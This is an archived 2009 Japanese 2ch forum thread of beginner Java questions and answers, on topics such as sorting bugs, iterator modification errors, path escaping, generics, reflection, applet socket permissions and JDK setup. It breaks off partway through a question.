【初心者】Java質問・相談スレッド125【歓迎】
レス数が1000を超えています。これ以上書き込みはできません。
0001デフォルトの名無しさん
2009/04/14(火) 20:20:57JavaScript, Ajaxの質問は、ここでは受け付けていません。
Web製作管理 http://pc11.2ch.net/hp/
Webプログラミング http://pc11.2ch.net/php/
をご利用下さい。
よくある質問
・「コマンドまたはファイル名が違います」
「'javac' は、内部コマンドまたは外部コマンド、
操作可能なプログラムまたはバッチ ファイルとして認識されていません。」
「Exception in thread "main" java.lang.NoClassDefFoundError: 」
http://www.wikiroom.com/java/?path,classpath
・String に == は使うな。equals() を使え。
・「\12288 は不正な文字です。」
文字リテラル以外で全角スペースは使えません。半角スペースに。
・その他の質問→「APIのjavadoc見ろ」
前スレッド
【初心者】Java質問・相談スレッド124【歓迎】
http://pc12.2ch.net/test/read.cgi/tech/1235310653/
次スレは>>990あたりで。
過去ログ、関連スレッド、よくある質問とその回答など、
質問をする前に、貴方が見なければならないサイトについての情報は、
下のwikiのページにまとめてあります。
http://www.wikiroom.com/java/
0002デフォルトの名無しさん
2009/04/14(火) 20:21:19■ AWT と Swing は --
Java低速GUI Swing 8
ttp://pc11.2ch.net/test/read.cgi/tech/1227234261/l50
■ SWT は --
Java 高速GUI SWT 3
ttp://pc11.2ch.net/test/read.cgi/tech/1164877399/l50
■ NTT DoCoMo の iモード携帯電話用 Java (iアプリ) は --
iモード携帯電話用Java(iアプリ) Part19
http://pc11.2ch.net/test/read.cgi/tech/1233822965/l50
■ DoCoMo 以外は --
CLDC+MIDP+携帯電話用Javaスレッド part 8
ttp://pc11.2ch.net/test/read.cgi/tech/1206017034/l50
■ 課題・宿題は --
★★ Java の宿題ここで答えます Part 67 ★★
http://pc11.2ch.net/test/read.cgi/tech/1232627790/l50
**** 開発環境が必要の場合は ****
■ J2SE 1.4.0
ttp://sdc.sun.co.jp/java/docs/j2se/1.4/ja/docs/ja/index.html
■ J2SE 5.0 (1.5.0)
ttp://java.sun.com/j2se/1.5.0/ja/
■ Java SE 6
ttp://java.sun.com/javase/ja/6/
**** 実行環境だけが必要の場合は ****
■ Java ソフトウェアのダウンロード
ttp://www.java.com/ja/
0003デフォルトの名無しさん
2009/04/14(火) 20:26:140004デフォルトの名無しさん
2009/04/14(火) 20:26:330005デフォルトの名無しさん
2009/04/14(火) 20:40:53これゼロ除算で割り込みにならないんですね。
初めて知った。
0006デフォルトの名無しさん
2009/04/14(火) 22:50:49<?xml version="1.0" encoding="UTF-8"?>
<html version="-//W3C//DTD XHTML 1.1//EN" xml:lang="ja" xmlns="http://www.w3.org/1999/xhtml" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<head profile="" xmlns="http://www.w3.org/1999/xhtml" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<meta content="text/html;charset=UTF-8" http-equiv="Content-Type" xmlns="http://www.w3.org/1999/xhtml" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"/>
<title xmlns="http://www.w3.org/1999/xhtml" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">TITLE</title>
<link href="style.css" rel="stylesheet" type="text/css" xml:space="preserve" xmlns="http://www.w3.org/1999/xhtml" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"/>
</head>
<body xml:space="preserve" xmlns="http://www.w3.org/1999/xhtml" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<h1 xml:space="preserve" xmlns="http://www.w3.org/1999/xhtml" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">TITLE</h1>
<p xml:space="preserve" xmlns="http://www.w3.org/1999/xhtml" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
...
これはひどいwww
0007デフォルトの名無しさん
2009/04/14(火) 23:29:550008デフォルトの名無しさん
2009/04/14(火) 23:47:020009デフォルトの名無しさん
2009/04/15(水) 18:33:56\lib\audioにあるsoundbank.gmを消したときに
音質が良くなる場合と全く音が鳴らなく場合があるんですが
原因は何でしょうか
0010デフォルトの名無しさん
2009/04/15(水) 19:10:27ならない場合→サウンドバンクが見つからなかった。
0011デフォルトの名無しさん
2009/04/15(水) 20:44:47って書いてるんですけど、
public static void main(String args[])
この様な書き方も有る様ですが
実際何が違うんですか?
0012デフォルトの名無しさん
2009/04/15(水) 20:47:41ソースコード上では下はそれらと互換があるけど、Javaでは上が正解だから忘れて良い。
ちなみに違いはない。
0013デフォルトの名無しさん
2009/04/15(水) 21:04:07下は C から来た人に馴染みがあるというだけの話。
C は型指定と配列指定が別物だったから配列と非配列をまとめて char a, b[20]; のように宣言できた
(だから変数の後に [] を付けていた)。ただ Java が出る前には同一宣言内にポインタや配列を
混在させるのはよろしくないね的な風潮ができあがって、Java では配列指定を型宣言に含めて
char[] a, b; か char a, b; のどちらかしかできなくなった。
どちらで書いてもコンパイラの解釈は同じだが Java 流儀だと前者で書く。
0014デフォルトの名無しさん
2009/04/15(水) 22:41:17public static void main(String[] args) {
/* [] を変数名の前に書く場合と後ろに書く場合 */
char[] data = new char[10]; // (一般的な書き方)
char u[], v; // uのみ配列
char x, y[]; // xのみ配列
// char s, []t; // コンパイルエラー ×
/* 変数を同時に2個宣言する */
char[] o, p; // oもpも配列
char []q, r; // qもrも配列 (変な書き方)
char[] w, z[]; // wは1次元配列、zは2次元配列
w = new char[10]; z = new char[10][10];
} }
0015デフォルトの名無しさん
2009/04/15(水) 22:54:09{
public static void main(String[] args)
{
int hokan = 0;
int[] Num = {10,9,8,7,6,5,4,3,2,1};
for(int i = 1; i<Num.length; i++)
{
if(Num[0]<Num[1])
{
hokan = Num[0];
Num[0] = Num[1];
Num[1] = hokan;
}
}
for(int i = 0; i<10; i++)
{
System.out.println(i);
}
}
}
初心者で申し訳ないです、1〜10までの数字を逆に並び替えたいのですが
うまくいきません、間違っているところがあればご指摘お願いします。
0016デフォルトの名無しさん
2009/04/15(水) 23:00:33Don't repeat yourself.
0017デフォルトの名無しさん
2009/04/15(水) 23:08:54まず i が 1〜9 までの 9 回しかループしていない。それから Num[0] は初期状態で 10 のところで
Num[1] は 9 のところ。つまりループしながら配列内のその 2 箇所の入れ替えしかできていない。
0018デフォルトの名無しさん
2009/04/15(水) 23:10:34index回してないし、最後のsysoutだけじゃん。やってるのは。w
0019デフォルトの名無しさん
2009/04/15(水) 23:12:23>初心者で申し訳ないです、1〜10までの数字を逆に並び替えたいのですが
>うまくいきません、間違っているところがあればご指摘お願いします。
public class sho125_15
{
public static void main(String[] args)
{
int hokan = 0;
int[] Num = {10,9,8,7,6,5,4,3,2,1};
for(int i = 1; i<Num.length; i++)
{
if(Num[i-1]>Num[i])
{
hokan = Num[i-1];
Num[i-1] = Num[i];
Num[i] = hokan;
}
}
for(int i = 0; i<10; i++)
{
System.out.println(Num[i]);
}
}
}
0020デフォルトの名無しさん
2009/04/15(水) 23:17:11それ 9 8 7 6 5 4 3 2 1 10って表示されね?
0021デフォルトの名無しさん
2009/04/15(水) 23:29:29int[] Num = {10,9,8,7,6,5,4,3,2,1};
Arrays.sort(Num);
System.out.println(Arrays.toString(Num));
0022デフォルトの名無しさん
2009/04/15(水) 23:33:44public void run() {
Iterator it = effects.iterator();
while(it.hasNext() == true) { // ここでエラー
Effect ef = (Effect)it.next();
ef.update();
}
}
public void effectAdd(int effectNo) {
effects.add(new Effect(this, effectNo));
}
----------
Effectクラス(中略)
public Main m;
Effect(m) {
this.m = m;
}
public void update() {
if(ある条件) m.effectAdd(effectNo);
}
----------
とあるゲームを作っていて、上記のようにエフェクト追加、情報更新処理を行っているんですが、エラーが出てしまいます。
少し調べてみたところ、IteratorはhasNextで要素を探している時にaddするとエラーになることが分かりまた。
こういう場合は配列とか、他のリスト構造(?)にするしかないんでしょうか?
0023デフォルトの名無しさん
2009/04/15(水) 23:38:46Iterator it = new ArrayList(effects).iterator();
ただしそれがそのプログラム設計的に妥当なのかは別の話。
002422
2009/04/15(水) 23:38:53ちなみにここで見やすいようにスペースを全角にしてます。
Mainクラス(中略)
private ArrayList effects = new ArrayList();
public void run() {
Iterator it = effects.iterator();
while(it.hasNext() == true) { // ここでエラー
Effect ef = (Effect)it.next();
ef.update();
}
}
public void effectAdd(int effectNo) {
effects.add(new Effect(this, effectNo));
}
----------
Effectクラス(中略)
public Main m;
Effect(Main m) {
this.m = m;
}
public void update() {
if(ある条件) m.effectAdd(effectNo);
}
----------
0025デフォルトの名無しさん
2009/04/15(水) 23:42:19そうですか、分かりました。
ものすごい早いレスありがとうございました。
0026デフォルトの名無しさん
2009/04/15(水) 23:44:17元のコレクションが変更された時点で操作不能になる。
CopyOnWriteArrayListってのがあるからそっち使えば?
こっちはビューをコレクションを切り離す事が出来る。
0027デフォルトの名無しさん
2009/04/15(水) 23:45:19ArrayListじゃなくてLinkedListをこんな風にして使え
List list = Collections.synchronizedList(new LinkedList(...));
002819
2009/04/16(木) 01:05:05public class sho125_15
{
public static void main(String[] args)
{
int hokan = 0, i, j;
int[] Num = {10,9,8,7,6,5,4,3,2,1};
for(i = 1; i<Num.length; i++) // 比較する1個をまず選ぶ
{
for(j = i; j<Num.length; j++) // 選んだ数字を以降の全ての数字と比較する
{
if(Num[i-1]>Num[j])
{
hokan = Num[i-1];
Num[i-1] = Num[j];
Num[j] = hokan;
}
}
for(j = 0; j<10; j++) // 毎回確認する
System.out.print(Num[j]+" ");
System.out.println();
}
for(i = 0; i<10; i++) // 最終結果の表示
System.out.println(Num[i]);
}
}
0029デフォルトの名無しさん
2009/04/16(木) 05:04:52もしWindowsなら、
soundbankを消すとMSGSが鳴る。MSGSはデフォのsoundbankより波形容量が4倍あって、その分音質がいい。
Vista以降のMSGSは、XGリセットやBankSelectですぐに黙り込む。
0030デフォルトの名無しさん
2009/04/16(木) 06:35:07エクスプローラのアドレスバーからパスをコピーして
いろんなところにファイルを作ったりしてましたが、
Windowsのパスってパスデリミタが\ですよね。パスが深いと
いちいち\\とエスケープするのが面倒になってきました。
で勉強にもなるかなと、引数にフルパスを取って
(ソース中にハードコーディングして埋め込み)
\を\\にするようなメソッドを書いてみようとしましたが、
ソース中に\があるとコンパイルさえしてくれません(Eclipse3.2)。
そこで質問なんですが
1) 標準クラスライブラリでこのような、自動エスケープシーケンスとも
いえるような機能ってあるのでしょうか。あったら教えてください。
2) そもそもソール中に\は存在してはいけないのでしょうか?
うまく回避する方法はないのでしょうか。
3) クラスの自分自身の絶対/相対パスを返してくれるメソッドは
ないものでしょうか。Class c = this.getClass();から始まるサンプル
を見つけましたが、IDE上ではthisが赤い波線になり「staticコンテキストでは
thisを使用できません」と全く意味が分かりません…。
結局何がやりたいかというと、キーボードから1を入力するとD:\myFolder1にファイルを作成、
2を入力するとD:\myFolder2に…というようにファイルを選択された場所に作る、
という機能のまとまりを作成してみたいのです。
よろしくご教示ください。お願いいたします。
0031デフォルトの名無しさん
2009/04/16(木) 08:10:020032デフォルトの名無しさん
2009/04/16(木) 09:14:00char a = '\\';
String ss = "\\";
とする。2個の\\なら、4個にする。
0033デフォルトの名無しさん
2009/04/16(木) 13:50:08それは「キーボードから1を入力すると〜」というプログラムとは別に「ソースに貼り付ける前に
¥ を ¥¥ にエスケープする」プログラムを作らなければならない。コンパイル時にエスケープされて
なきゃいけないのを実行時にエスケープするコード書いても仕方がない。
クリップボードを監視してコピペ前にエスケープするプログラムでも書いてみたら?
0034デフォルトの名無しさん
2009/04/16(木) 16:21:28パラメーター化する必要があります
コードを打ったら↑なwarningが出るんだけど、これは放っておいて
いいのですか。
0035デフォルトの名無しさん
2009/04/16(木) 16:25:46いいんじゃね
0036デフォルトの名無しさん
2009/04/16(木) 16:26:41入れる物が決まっていない時: Vector<?> foo = new Vector<Object>();
入れる物が決まっている時: Vector<String> foo = new Vector<String>();
下のように書けば間違えて foo に Integer 入れようとした時にコンパイラが検出してくれる。
あと特に理由がなければ Vector なんて遺物使わないで ArrayList 使いなさい。
0037デフォルトの名無しさん
2009/04/16(木) 16:29:31複数の XML Schema が混在する XML の場合は DOM にした後にテメェで Validator
動かさなきゃだめかね。
0038デフォルトの名無しさん
2009/04/16(木) 16:31:51本に載っていることを、ただただ純情にやっていってます。
>Vector なんて遺物使わないで ArrayList 使いなさい
↑こういうことが分かるようになりたいものです。
0039デフォルトの名無しさん
2009/04/16(木) 17:46:46> ↑こういうことが分かるようになりたいものです。
Vector, ArrayList の話に限っていえば、参照している本が古すぎるだけってこと
0040デフォルトの名無しさん
2009/04/16(木) 19:10:280041デフォルトの名無しさん
2009/04/16(木) 19:31:28初学者がSetの代わりにArrayListを使ってても笑って許せるというもの。
0042デフォルトの名無しさん
2009/04/16(木) 19:36:380043デフォルトの名無しさん
2009/04/16(木) 19:38:26いざ実践となると、うっかり自分でソートしてたりするから基本形だけ覚えればいい。
004431
2009/04/16(木) 20:43:08レスありがとうございます。
プログラム実行中にIDEのコンソールから
File file = new File(str); へ
C:\test\test1.txt を
タイプまたはコピペで渡すことでファイルは作成できました。
コンパイル後の実行中には\は存在していいんですね
(デバッガではstr "C:\test\test1.txt"となっていましたし)。
今までの学習の復習としてこれからゴテゴテと機能を追加予定
ですのでその時に>>32-33お二方のアドバイスを活かしたいと
思います。クリップボード監視とか皆目見当がつきませんが…。
別の質問させていただいていいでしょうか。
コンソールアプリでユーザがqを押すまで繰り返すという処理を
do{
(何かの処理)
if (isQuit.equals("q")){
System.out.println("終了=q \nもう一度=q以外\nをタイプしてリターン");
break;}
}while (true);
としているんですがこれって良くないのでしょうか。たしかに break; でwhile
ループを抜けるとか本筋じゃない気がしますが、理想的にはどうすれば
まっとうなのでしょうか。
ご教示いただければたすかります。
よろしくお願いいたします。
0045デフォルトの名無しさん
2009/04/16(木) 20:46:26while(true){
int len = in.read(buffer);
if(len < 0) break;
out.write(buffer, 0, len);
}
0046デフォルトの名無しさん
2009/04/16(木) 20:59:24いままで出てきたクラスと毛色が違う
解説を読んでも概略する把握できないですねえ
何をやっているんでしょうか
004731
2009/04/16(木) 21:01:26早速のレスありがとうございます。
そうですか安心しました。
どこかのページにwhileループは使わないで
ifをつかって(?理解不能で忘れました)
やったほうがいいとかあったものですから
心配になっていました。
ありがとうございました。
0048デフォルトの名無しさん
2009/04/16(木) 21:10:25メタプログラミングとか言うんだけど、まぁクラスの情報を持ってたり、普通はコードを書いて
コンパイルしなきゃいけない事をプログラムの実行中にやったりするためのもの。
例えば
List list = new ArrayList();
list.add("foo");
は、こうでも書ける (適当)。ここで指定するクラス名やメソッド名はただの文字列なので
ぶっちゃけユーザに入力させたものでも良い。
Class<?> clazz = Class.forName("java.util.ArrayList");
Object obj = clazz.newInstance();
Method method = clazz.getMethod("add", Object.class);
method.invoke(obj, "foo");
まぁ最初のうちは「クラス情報クラス」とでも思っておけば良い。
0049デフォルトの名無しさん
2009/04/16(木) 21:48:27なんとなくわかりました。
Class、Object、Methodというクラスも確かにありました。
コードの中でコードを生成するんですね。
ありがとうございました。
0050デフォルトの名無しさん
2009/04/16(木) 21:57:18大量のクラスがあるけど、全部覚える必要があるんですか、それとも、
よく使うのはほぼ決まっていて、経験と慣れみたいなもんですか。
全クラスの何パーセントくらいを使えるようになれば社会に出て通用
するんでしょうか。
0051デフォルトの名無しさん
2009/04/16(木) 22:04:30java.lang, java.util, java.io あたりは何を作るにも必須。あとは自分が作る
プログラムの専門分野ごとに異なる。
業務系なら java.sql, javax.xml に JEE あたりが必須になってくるし、ゲームは
よく知らんけどベタな AWT や javax.sound が必要になるんじゃないのか。
005215
2009/04/16(木) 22:05:440053デフォルトの名無しさん
2009/04/16(木) 22:06:23それを入れていく感じ・・・でよろしいでしょうか?
それとも、逆引きAPIみたいなのを調べて行くんでしょうか。
ワタシは、初心者本とアルゴリズム本を精読した程度ですが。
0054デフォルトの名無しさん
2009/04/16(木) 22:08:210055デフォルトの名無しさん
2009/04/16(木) 22:12:03最初の頃はまず目的 (やりたい事) に対する手段 (どれを使えばいいか) が分からないだろうから
逆引き API みたいなのが良いんでないの。そのうち「これ系の機能はこのパッケージ」っての
が分かってくるから。
0056デフォルトの名無しさん
2009/04/16(木) 22:21:55"+1"がエラー吐くのがどうも納得いかない。
というか、文字列をサクッと計算してintに戻してくれるようなAPIはないもんか。
0057デフォルトの名無しさん
2009/04/16(木) 22:37:58つ javax.script
0058デフォルトの名無しさん
2009/04/16(木) 22:40:560059デフォルトの名無しさん
2009/04/16(木) 22:43:46Apple Script だぜ?
XPath をうまく使えば四則演算程度ならおk。
0060デフォルトの名無しさん
2009/04/16(木) 22:47:17import javax.script.*;
public class Hoge {
public static void main(String[] args) throws ScriptException {
String expr = "+1";
new ScriptEngineManager().getEngineByName("ECMAScript").eval("print(" + expr + ")");
//new ScriptEngineManager().getEngineByName("ECMAScript").eval("print(" + args[0] + ")");
}
}
0061デフォルトの名無しさん
2009/04/16(木) 22:50:58javaccとかantlrとかでパーサを作れば?
自分勝手に使いやすいように仕様決められるし。
0062デフォルトの名無しさん
2009/04/16(木) 23:32:500063デフォルトの名無しさん
2009/04/16(木) 23:41:140064デフォルトの名無しさん
2009/04/16(木) 23:55:0756がどんな文字列をパースしたいか次第だな
0065デフォルトの名無しさん
2009/04/17(金) 00:35:000066デフォルトの名無しさん
2009/04/17(金) 01:17:51Logging APIに関連するシステムプロパティはLogManagerのドキュメントに説明がある。
Properties形式のプロパティファイルならjava.util.logging.config.fileで指定できる。
0067デフォルトの名無しさん
2009/04/17(金) 02:24:06その中のデータを持ってくる方法ってありますか?
データを持ってくるのは楽なんだけど、ボタンを押すのが、、、もしかしてJavascript?
0068デフォルトの名無しさん
2009/04/17(金) 02:39:010069デフォルトの名無しさん
2009/04/17(金) 02:39:09ごめん、自己解決した。ClickってJavascriptにあった。。
0070デフォルトの名無しさん
2009/04/17(金) 02:39:42シナリオ通りにリクエスト投げまくって最後の結果を取りたいというのなら Apache の JMeter (だっけ?) でも使え。
0071デフォルトの名無しさん
2009/04/17(金) 02:42:58ありがとう
そうです。自動でデータを持ってきて、DBに入れるJava作ろうと思ってました。
DB入れるのは簡単だったんだけど、ボタン押すことで考えが止まってました。
0072デフォルトの名無しさん
2009/04/17(金) 02:46:32formのactionにだな・・・、まあ解決したんならいいか。
0073デフォルトの名無しさん
2009/04/17(金) 04:07:56これかぁ。だよなぁ。
0074デフォルトの名無しさん
2009/04/17(金) 04:10:31http://java.sun.com/j2se/1.5.0/ja/docs/ja/api/java/awt/Robot.html
0075デフォルトの名無しさん
2009/04/17(金) 04:17:29変なところへ行っちゃったっぽいなあ
深夜にいろいろありがとう
0076デフォルトの名無しさん
2009/04/17(金) 14:34:55資金は有限。
0077デフォルトの名無しさん
2009/04/17(金) 15:20:050078デフォルトの名無しさん
2009/04/17(金) 15:33:060079デフォルトの名無しさん
2009/04/17(金) 17:35:090080デフォルトの名無しさん
2009/04/17(金) 19:27:370081デフォルトの名無しさん
2009/04/17(金) 19:29:48COFFだとかOMFだとか、WINENTRYだとかstdcallだとか色々あるしね。
0082デフォルトの名無しさん
2009/04/17(金) 20:31:57List<Integer> list = Arrays.asList(hairetu);
list = new ArrayList>Integer>(list);
〜
<A extends Number> void shori(List<A> list) {
for (Iterator<A> itr = list.iterator(); itr.hasNext();) {
こういうのがあるとき、list.iterator()は、Listクラスのiterator()メッソドを使っていると思うのですけど、
listは、ArrayListのオブジェクトなんですけど、ArrayListクラスのメソッドにはiterator()はないです。
先頭にあるList<Integer> list = Arrays.asList(intarray);から紐付いていると思うんですけど、
List<Integer> list = Arrays.asList(hairetu);で Arrays.asListのオブジェクトを生成して、
list = new ArrayList>Integer>(list);でArrays.asListのオブジェクトを生成して参照変数を置き換えています。
それでも尚、Listのメソッドをlistから使用できるのは何故なんでしょうか。
理解できていないですねえ私は。
0083デフォルトの名無しさん
2009/04/17(金) 21:02:58> ArrayListクラスのメソッドにはiterator()はないです。
ホントにそうかな?ちゃんと調べてみよう。
ヒントはAbstractList。ってほぼ答えじゃん。
0084デフォルトの名無しさん
2009/04/17(金) 21:15:05そうだよね。プラットフォームのソースと一緒に個別にしておくか。
0085デフォルトの名無しさん
2009/04/17(金) 22:44:370086デフォルトの名無しさん
2009/04/18(土) 00:24:580087デフォルトの名無しさん
2009/04/18(土) 01:26:010088デフォルトの名無しさん
2009/04/18(土) 01:33:42■やりたいこと
m∈Z、n∈Nに対して、
0以上n未満の範囲のmod nの値を取得したい
■問題
%で取れると思ったのですが、
(-8) % 5という演算では、-3という負の値が返って来てしまいます。
(期待している値としては、2です。)
(m%n<0)?m%n+n:m%n
とするしかないでしょうか…?
0089デフォルトの名無しさん
2009/04/18(土) 02:00:450090デフォルトの名無しさん
2009/04/18(土) 02:11:14有難うございます。実現できました。
0091デフォルトの名無しさん
2009/04/18(土) 02:13:300092デフォルトの名無しさん
2009/04/18(土) 02:16:210093デフォルトの名無しさん
2009/04/18(土) 02:22:590094デフォルトの名無しさん
2009/04/18(土) 02:29:29何が目的か言った方が早いぞ。
0095デフォルトの名無しさん
2009/04/18(土) 02:36:54継承してました。ありがとうございました。
int m = 10
Integer[] hairetu = new Integer[m];
for (int i = 0; i < m; i++) { hairetu[i] = i; }
List<Integer> list = Arrays.asList(hairetu);
list = new ArrayList>Integer>(list);
10個の数字を入れられる入れ物をつくって、Integerクラス型の変数hairetuにポインタ代入して、
for文で実際に入れ物に値を入れて、
ArraysクラスのasListメゾットの引数に中身が入った入れ物のポインタを渡して、
Listクラスの変数listに戻り値のポインタを代入して、
そのポインタをArrayListクラスのコンストラクタ引数に渡して、
オブジェクト生成して、そのポインタをlistに代入している。と思うんですけど、
よく分からなくなりました。
0〜9までの数字が入ったhairetuがあって、それがメモリ上にあって、それを参照するのに、
変数にポインタが入ってて、結局最後には、listという変数から、配列が見えるんだけど、
Integerとか、Arraysとか、ArrayListとか、違ったクラスのオブジェクトを経由するけど、
各クラスにはそれぞれのフィールドやメソッドなどがあるんだけど、
それぞれに、10個の配列(hairetu)は、実体として、どのように紐ついているんでしょうか。
0096デフォルトの名無しさん
2009/04/18(土) 02:41:350097デフォルトの名無しさん
2009/04/18(土) 02:57:55そういう書き方であれば、答えは、なんとなくあってる。
詳しい実装はソースを見て勉強してください。
基本的にAPIdocument に書いてあることが行われるように実装されています。
ArrayListでの固有機能が必要でなければ、最後の行は必要ないと思うんだ。
0098デフォルトの名無しさん
2009/04/18(土) 03:25:43Arrays.asListは文字通りas-listで、配列をListに見立てるだけ。
ArrayListは初期値にListを使ってるだけで、配列は引数から独立してる。(Integer自身は変更無し)
Integer[] intArray = new Integer[]{0, 1, 2, 3, 4, 5, 6, 7, 8, 9};
List<Integer> asList = Arrays.<Integer>asList(intArray);
List<Integer> arrayList = new ArrayList<Integer>(asList);
Comparator<Integer> reversOrder = Collections.reverseOrder();
Arrays.sort(intArray, reversOrder);
↑でasListは9..0となり、arrayListは0..9のまま。
0099デフォルトの名無しさん
2009/04/18(土) 03:33:33上記では、オブジェクトの参照であるhairetuでもlistでも最後のlistでも、
10個の値が入った入れ物の内容が見れると思うんですけど、
たとえばListくらすであれば今回の場合は、listとして参照できるのは、
10個の値が入った入れ物の内容だけなんでしょうか。
私は、各クラスがインスタンス化されたら、型枠のようなクラスが、
そっくりそのままオブジェクト(実体)としてコピーされると
考えていました。そうなると、たとえばListクラスなら、10個の配列は、
Listオブジェクトの、どこに入るんだろうかと疑問に思う。
肝の部分がまだ見えてないんですよね。
0100デフォルトの名無しさん
2009/04/18(土) 10:01:25元になったデータの扱いがどうなっているかは実装次第です。
変数や引数で宣言されているクラスは、あくまでも「のぞき穴」です。
もちろん、代入できるのは、のぞき穴で見られるものだけですが。
基本的にJavaでのオブジェクトの生成は new 演算子でのみ行えます。
その実体化を行ったクラスで、生成に用いた値がどのような扱いなのかは
ソースを見てください。
0101デフォルトの名無しさん
2009/04/18(土) 11:35:59アプレットでミニゲームを作成しようと考えており、ソケットを利用してアプレットと
サーバ(webサーバと同一です)を接続したいと考えているのですが、
アプレットからサーバに接続しようとしたら
java.security.AccessControlException: access denied
が発生してしまいました。
webサーバに対しては、アプレットでも直接通信できると思ったのですが、どうもそう単純ではなかったようです。
ソケット通信を使う時点で、ポリシーファイルの設定が必須になってしまうものなのでしょうか。
0102デフォルトの名無しさん
2009/04/18(土) 18:22:53アプレットで直接通信できるのはデフォルトではアプレットが置かれていたサーバのみだけどそれは大丈夫?
例えばまだ開発途中でローカルマシン上にあるアプレットから本来置かれるべきwebサーバにアクセスしようとしたりしていない?
0103デフォルトの名無しさん
2009/04/18(土) 18:38:33開発途中なので、ローカルマシンのアプレットからローカルマシンのサーバへアクセスしています。
サーバを立ち上げ、アプレットから"localhost"に対してアクセスに行くと、
java.security.AccessControlException: access denied (java.net.SocketPermission 127.0.0.1:ポート番号 connect,resolve)
という表示になります。
アプレットをeclipseから起動した場合、サーバと通信可能です。
アプレットを呼び出すhtml側で、通信を許可するオプション等が必要なのでしょうか。
0104デフォルトの名無しさん
2009/04/18(土) 18:51:06アプレットのgetCodeBase()やgetDocumentBase()が返すURLから得られるホストとlocalhostは一致する?
ローカルサーバアドレスとループバックアドレスは一致しない可能性がある。
0105デフォルトの名無しさん
2009/04/18(土) 19:14:44まさにそれでした。
localhostに対してアクセスに行っているのに、getCodeBase()では
INFO: debug:codeBase:file:/C:/java/hogehogeProject/
というような値が返ってきてました。
たぶんこれが原因だと思います。
ローカルでもちゃんとサーバ立てれば解決しそう。
いろいろありがとうございました。
0106デフォルトの名無しさん
2009/04/18(土) 20:00:59この仕様は意味がわかりません
配列を戻したいなら、戻り値の型の指定でString[] とか、ちゃんと型を指定しないといけないんじゃないの?
0107デフォルトの名無しさん
2009/04/18(土) 20:03:01foo.java.netからfoo.dev.java.netにアクセスできるんだっけ?
0108デフォルトの名無しさん
2009/04/18(土) 20:04:54配列の中身をあんたが自分で書き換えたんじゃないの?
0109デフォルトの名無しさん
2009/04/18(土) 20:29:16引数でメソッドに渡しただけだから元が書き換わるはずがないと思うのです・・・
でも教科書にはこう書かれてるし、実際に動く
ちなみにただのソートです
教科書→ 明解Javaによるアルゴリズムとデータ構造
0110デフォルトの名無しさん
2009/04/18(土) 20:34:26その思い込みの根拠を知りたいな。
自分の知らない現象に遭遇したとして、何故そう動くのかを考えるだろ普通。
なんで、そうならないと思い込めるのか、凄く謎。
0111デフォルトの名無しさん
2009/04/18(土) 20:38:13考えた結果そういう仕様なのかと思ったけど
明確にはよくわからないのでここで質問しているのです
0112デフォルトの名無しさん
2009/04/18(土) 20:40:57そんなはずがないってのは誰が言ったんだ?w
0113デフォルトの名無しさん
2009/04/18(土) 20:44:37public void touchArray(int[] array){
for(int i=0;i<array.length;i++){
array[i]=i;
}
}
みたいなことをやると引数arrayが書き換えられるけど、これはどうして?
と言うことでしょ。
Javaの場合、オブジェクトは参照で渡され、配列はオブジェクトとして扱われるから、というのがその答えだと思う。
そんなに不思議に思うような仕様でもないと思うが。
0114デフォルトの名無しさん
2009/04/18(土) 20:47:13あなたの言ったことがあまりにも信じられいのです
だってどこで書き換えてるのか全くわからないんだものorz
0115デフォルトの名無しさん
2009/04/18(土) 20:54:54オブジェクトは参照で渡されるってことを知らなかったです・・・
ありがとうございました
0116デフォルトの名無しさん
2009/04/18(土) 21:09:520117デフォルトの名無しさん
2009/04/18(土) 22:01:00今プログラム環境の導入をやってます。
とりあえずjavaをダウンロードしてインストールしました。
次にGameCanvas をダウンロードして解凍したら
Lhaplusの2行目に「×アーカイブのヘッダに異常がありました」ってなって、
解凍されたrelease.batをクリックしたら、
「C:\Documents and Settings\ユーザー名\デスクトップ\FrameWork\game.classが見つかりませんでした」
「'javac'は、内部コマンドまたは外部コマンド、
操作可能なプログラムまたはバッチファイルとして認識されていません」
って何行も出まくるんだけどどうすれば良いんだ・・・
ちゃんとJavaもインストールしてあるし、やり直しても同じ事になる・・・お助けください…
一度実行すると gameApp.jar という実行ファイルができるはずなんですが・・
0118デフォルトの名無しさん
2009/04/18(土) 22:11:510119デフォルトの名無しさん
2009/04/18(土) 22:23:400120デフォルトの名無しさん
2009/04/18(土) 22:26:450121デフォルトの名無しさん
2009/04/18(土) 22:44:53>やり直して
「ダウンロードから」やり直しても駄目?
ダウンロードしたファイルが壊れてたって表示されてましたけど、バッチ
ファイルが解凍されてたんで「大丈夫だと信じて」叩いてみました。
に読める。
あと、javacを要求しているところからして、インストールしておいたのは、
JREでは駄目で、JDKでなければならない。
また、インストールしたJDKのbinフォルダを環境変数pathに追加しないと
動かない。
0122デフォルトの名無しさん
2009/04/18(土) 22:55:24全部BufferedImageではだめですか?
0123デフォルトの名無しさん
2009/04/18(土) 22:56:24環境変数JAVA_HOMEにJDKをインストールしたパスを書いておかないと動かない。
まあ、要するに「javac.exeはどこにある?」に答えてやらんと動かないわけだ。
色々と面倒に思えるだろうけど、これらは前提知識。
0124デフォルトの名無しさん
2009/04/18(土) 23:02:19APIを見てね。Imageは仮想(abstract)クラス。
全部BufferdImage使っていればいいよ。とりあえずは。
0125デフォルトの名無しさん
2009/04/18(土) 23:03:28×仮想
○抽象
0126デフォルトの名無しさん
2009/04/18(土) 23:03:430127デフォルトの名無しさん
2009/04/18(土) 23:16:17JDKのインストールに関して、正しくは以下のドキュメント
http://java.sun.com/javase/ja/6/webnotes/install/jdk/install-windows.html
を参照。
あ、抽象だなorz
0128デフォルトの名無しさん
2009/04/18(土) 23:18:35たいていは、コントロールパネル→システムの中の、環境設定のところのPATHに
javacの位置を書き加える作業が必要・・・んー自動でも加わったかな
0129デフォルトの名無しさん
2009/04/18(土) 23:25:38N個の[0,1)の乱数をrandom配列に入れ、その配列から一つずつ乱数を取り出し、
区間をM個にわけたうちの何番目にその乱数がいくつ入っているかをカウントする配列をcount配列とします。
下のプログラムでは実行結果が
